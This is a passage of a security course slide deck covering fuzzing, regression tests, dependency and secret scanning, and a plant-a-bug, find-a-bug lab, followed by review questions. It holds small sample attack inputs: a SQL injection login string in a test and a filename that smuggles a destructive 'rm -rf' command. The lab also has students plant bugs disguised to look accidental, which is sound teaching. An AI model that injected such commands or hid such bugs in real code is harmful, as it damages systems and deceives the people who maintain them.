NIST SP 800-53 / secure software development practices static analysis in secure development

59. Fuzzing: let the machine try the weird inputs

Concept

Fuzzing runs your program on a flood of malformed, random and boundary inputs, watching for a crash or a hang. It finds exactly the edge-case bugs a human never thinks to type.

# feed a program millions of mutated inputs, watch for crashes
afl-fuzz -i seeds/ -o findings/ -- ./parser @@
fuzzer sendsprogram doesmeaning
a normal inputhandles itno finding
an empty or giant inputcrashesa memory or size bug, caught
a saved crashing inputcrashes againa reproducer you can hand over

The gift of fuzzing is that a crash comes with the exact input that caused it, so you find the bug and prove it in the same step. It is unbeatable for memory-safety and parsing bugs.

MITRE CWE Top 25 Most Dangerous Software Weaknesses fuzzing against memory-safety weaknesses

60. What a fuzzer is doing

Picture it

The picture behind the flood of inputs.

Figure (svg): A diagram of a fuzzer mutating inputs and feeding them to a program, with a crash on the right shown as a caught bug that comes with the exact input that triggered it

A fuzzer is patience at machine speed: it tries the empty string, the four-billion-byte string, and the one weird byte in the middle, over and over, until something breaks.

61. Dynamic testing and regression tests

Concept

Dynamic testing runs the program and probes its behaviour — including the adversarial inputs from this whole deck. Once a bug is found, a regression test locks it dead so it can never quietly return.

def test_login_rejects_sql():
    # the exact attack, frozen as a test
    assert login("admin'--", "x") is False
test kindwhat it proveswhen it runs
happy-path testnormal use worksalways — but proves no security
adversarial testa specific attack is blockedwhen you think of the attack
regression testa fixed bug stays fixedon every commit, forever

The move that makes finding pay off long-term: the moment you find your partner's bug, write the failing test first, then confirm the fix makes it pass. Now that class of bug can never sneak back in.

NIST SP 800-53 / secure software development practices test-driven security fixes

62. Scanning dependencies and secrets

Concept

The last two tools cover what human review structurally cannot: the code you did not write, and the secrets you did not mean to commit.

pip-audit                 # flag known-vulnerable dependencies
git secrets --scan        # catch committed keys and passwords
scannerwhat it catcheswhy a human cannot
dependency auditlibraries with known vulnerabilitiesnobody reads a million lines of dependency
secret scannerkeys and passwords in code or historysecrets hide in old commits nobody re-reads
bothrun automatically on every pushmachines never get bored or forget

These are cheap to run and catch entire classes at once. In a real project they run on every commit, so a hardcoded key or a vulnerable library is caught the moment it lands, not after a breach.

OWASP Top 10 — the ten most common web application weakness classes dependency and secret scanning

63. Order the detection steps by when to run them

Ranking

There is a sensible order to the hunt: cheap and broad first, expensive and deep last.

Put in order

  1. Static analysis and secret scanning (seconds, catches the obvious)
  2. Human review of the risky lines (minutes, catches logic)
  3. Adversarial and dynamic testing (targeted attacks you thought of)
  4. Fuzzing (hours, catches the edge cases you did not think of)

Why: Run the cheap, tireless tools first to clear the obvious half, then spend scarce human attention on the logic bugs only a person catches, then test the specific attacks you imagined, and finally let a fuzzer grind out the edge cases nobody imagined. Cheapest and broadest first, deepest and slowest last.

64. Which tool for which bug?

Elimination

You suspect a specific bug. Rule out the wrong tools and keep the one that fits best.

Eliminate the wrong options

Your partner's C program crashes on some inputs but not others, with no idea which. Which single approach is most likely to find and reproduce it?

  • e1. A secret scanner
  • e2. A dependency audit
  • e3. Fuzzing
  • e4. Reading the happy-path tests

Survives elimination: e3

Why: A crash on some inputs but not others is the textbook case for fuzzing: it floods the program with malformed inputs until one crashes it, and hands you the exact input that did — finding and reproducing the bug in one move.

65. Part 9 — Running the introduce-then-find lab

Section

Turning all of this into the assignment

66. The lab protocol, step by step

Concept

Here is the whole assignment as a procedure. Follow it exactly and the grading takes care of itself, because the report writes itself from the steps.

Figure (svg): A four-step loop: plant one documented bug, swap with a partner, find the bug by review then tools, and write the report that closes the loop

  1. Plant exactly one bug in a small program, from a class in this deck, and privately document what and where it is
  2. Make it look accidental — imitate an honest source, so it is realistic to hunt
  3. Swap programs with your partner; neither of you sees the other's notes
  4. Find the bug: review the risky lines, then run static analysis, tests and a fuzzer
  5. Write the report, then compare it against your partner's private notes to see if you nailed it

The Underhanded C Contest — deliberately-planted, plausible-looking bugs the plant-and-find format

67. Worked example: a complete bug report

Worked example

This is the template your report should fill, shown filled in for the transfer bug from earlier.

TITLE:    Negative-amount transfer bypasses the balance check
LOCATION: transfer(), line 3
CLASS:    logic / missing input validation
TRIGGER:  amount = -100 with any balance
IMPACT:   integrity — credits the sender, an unauthorised gain
FOUND BY: adversarial test with a negative amount
FIX:      also reject amount <= 0

Say where and what

Why: The location and class come first, so a reader knows exactly where to look and what family they are dealing with before any detail.

report fieldwhy it is requiredwho uses it
triggerlets anyone reproduce itthe person fixing it
impactsays which guarantee it breakswhoever prioritises fixes
found byshows the method, so it can be reusedthe reviewer being graded

Prove it and fix it

Why: The trigger is the reproducer; the fix is the one-line change. A report without a reproducer is a guess, and a report without a fix is only half done.

Figure (svg): The plant-and-find loop diagram, showing the report as the artefact that closes the cycle between planting and finding a bug

Verify: check it against the private notes

Why: The report is right when its class, location and trigger match what your partner secretly planted. If your class is right but your trigger differs, you found a real second path — which is a stronger result, not a weaker one.

OWASP Top 10 — the ten most common web application weakness classes writing an actionable finding

68. How this maps to the real thing

Real world

The assignment is a scale model of a real security workflow.

Discussion prompt

Name the real-world activity each part of this lab is practising, so you can put it on a resume honestly.

Hint: Each half of the loop is a real job.

Answer:

Planting a documented, realistic bug is what people building CTF challenges, training ranges and red-team exercises do for a living.

Reviewing the risky lines and running the tools is code review, static analysis and penetration testing — the daily work of an application-security engineer.

Writing the report with a class, a reproducer and a fix is exactly a bug-bounty submission or a pentest finding. The skill transfers directly, format and all.

69. Draw the whole taxonomy on one page

Connect it up

Twenty minutes on this beats another hour of reading, and it is the artefact to bring to the review.

Draw it

Draw four boxes — memory-safety, injection, access and logic, data-handling. In each, list its bug classes from this deck, and beside each class write its one-line fix and the single tool most likely to find it. Then circle the one class you find hardest to spot; that is the one to plant.

The class you find hardest to spot is the one worth planting, because building it teaches you to see it, and seeing it is the whole point.

70. Part 10 — Consolidation

Section

Make it stick

71. Retrieval: eight answers, no notes

Warm-up

Close the deck. This is the check on whether today stuck.

Discussion prompt

From memory: the three-word chain that is not synonyms; the three things the CIA triad names; the class of the OR-one-equals-one string; what sits just above a stack buffer; the one-line fix for SQL injection; how you test for broken access control; what makes a bug subtle; and the tool for a crash on unknown inputs.

Hint: Three words, three letters, one class, one neighbour, one fix, one method, one property, one tool.

Answer:

Bug, then vulnerability, then exploit.

Confidentiality, integrity, availability.

SQL injection — it closes the string and adds an always-true condition.

The saved frame pointer and, above it, the saved return address.

Use a parameterized query so input is a bound value, never SQL text.

Change the id, or act as the wrong role, and see if the check stops you.

It looks normal, sits on a rare path, and passes the tests the author wrote.

A fuzzer — it finds the crashing input and hands it back as a reproducer.

72. Check: name the bug and its fix

Check

One question that ties the classes to the fixes. Decide before you click.

Check your understanding

A web handler runs os.system('convert ' + filename) where filename comes from an upload form. What is the bug class, and the right fix?

  • A. Buffer overflow; use a bigger buffer
  • B. Command injection; pass arguments as a list to a no-shell API, never build a shell string from input (correct)
  • C. Broken access control; add a login check
  • D. Hardcoded secret; move it to an environment variable

Answer: B

Why: Untrusted input glued into a string handed to the shell is command injection: a filename like x; rm -rf . runs a second command. The fix is to avoid the shell entirely — pass the program and its arguments as a list to an exec-style API — so the filename can never be parsed as shell syntax.

Why A tempts people
There is no fixed buffer and no memory copy here; this is about the shell interpreting input, not about memory size.
Why C tempts people
A login check does not help — an authenticated user can still inject shell commands through the filename.
Why D tempts people
There is no secret in this code at all; the vulnerability is the untrusted filename reaching the shell.

73. Exit ticket: which bug will you plant?

Exit ticket

This tells me what to prepare for the review session, so pick the one you would actually build.

Predict first

Which class will you plant for your partner?

  • A memory-safety bug — an overflow or off-by-one in C
  • An injection bug — SQL, command, or XSS
  • A broken access control or logic bug
  • A data-handling bug — a hardcoded secret, weak crypto, or path traversal
  • The subtlest one I can manage, whatever class that turns out to be

Correct: Whichever you pick is what I will prepare review practice for.

Why: The last option is the one worth taking seriously: choosing by subtlety rather than by class is how real reviewers and attackers think, and building the subtlest bug you can manage is the fastest way to learn to see it in someone else's code.

74. What you can do now

Recap

This session turned bug into a precise idea and gave you both halves of the loop: how weaknesses get into code, and how to hunt them out.

to find thisreach forbecause
visible-in-source bugsstatic analysis and a careful readpatterns and secrets jump out
access and logic bugsadversarial testingno single line looks wrong
memory and parsing crashesa fuzzerit finds and reproduces at once
vulnerable librariesa dependency audityou cannot read them by hand
a fixed bug staying fixeda regression testit runs on every commit forever

MITRE CWE Top 25 Most Dangerous Software Weaknesses every class above maps to a real weakness in the wild

Sources

  1. OWASP Top 10 — the ten most common web application weakness classes
  2. MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types
  3. MITRE CWE Top 25 Most Dangerous Software Weaknesses
  4. The Underhanded C Contest — deliberately-planted, plausible-looking bugs
  5. NIST SP 800-53 / secure software development practices

Want this taught 1-on-1? Alexander tutors Cyber Security 101 — $55/session, free consultation.

Book on Wyzant · Text (657) 465-8108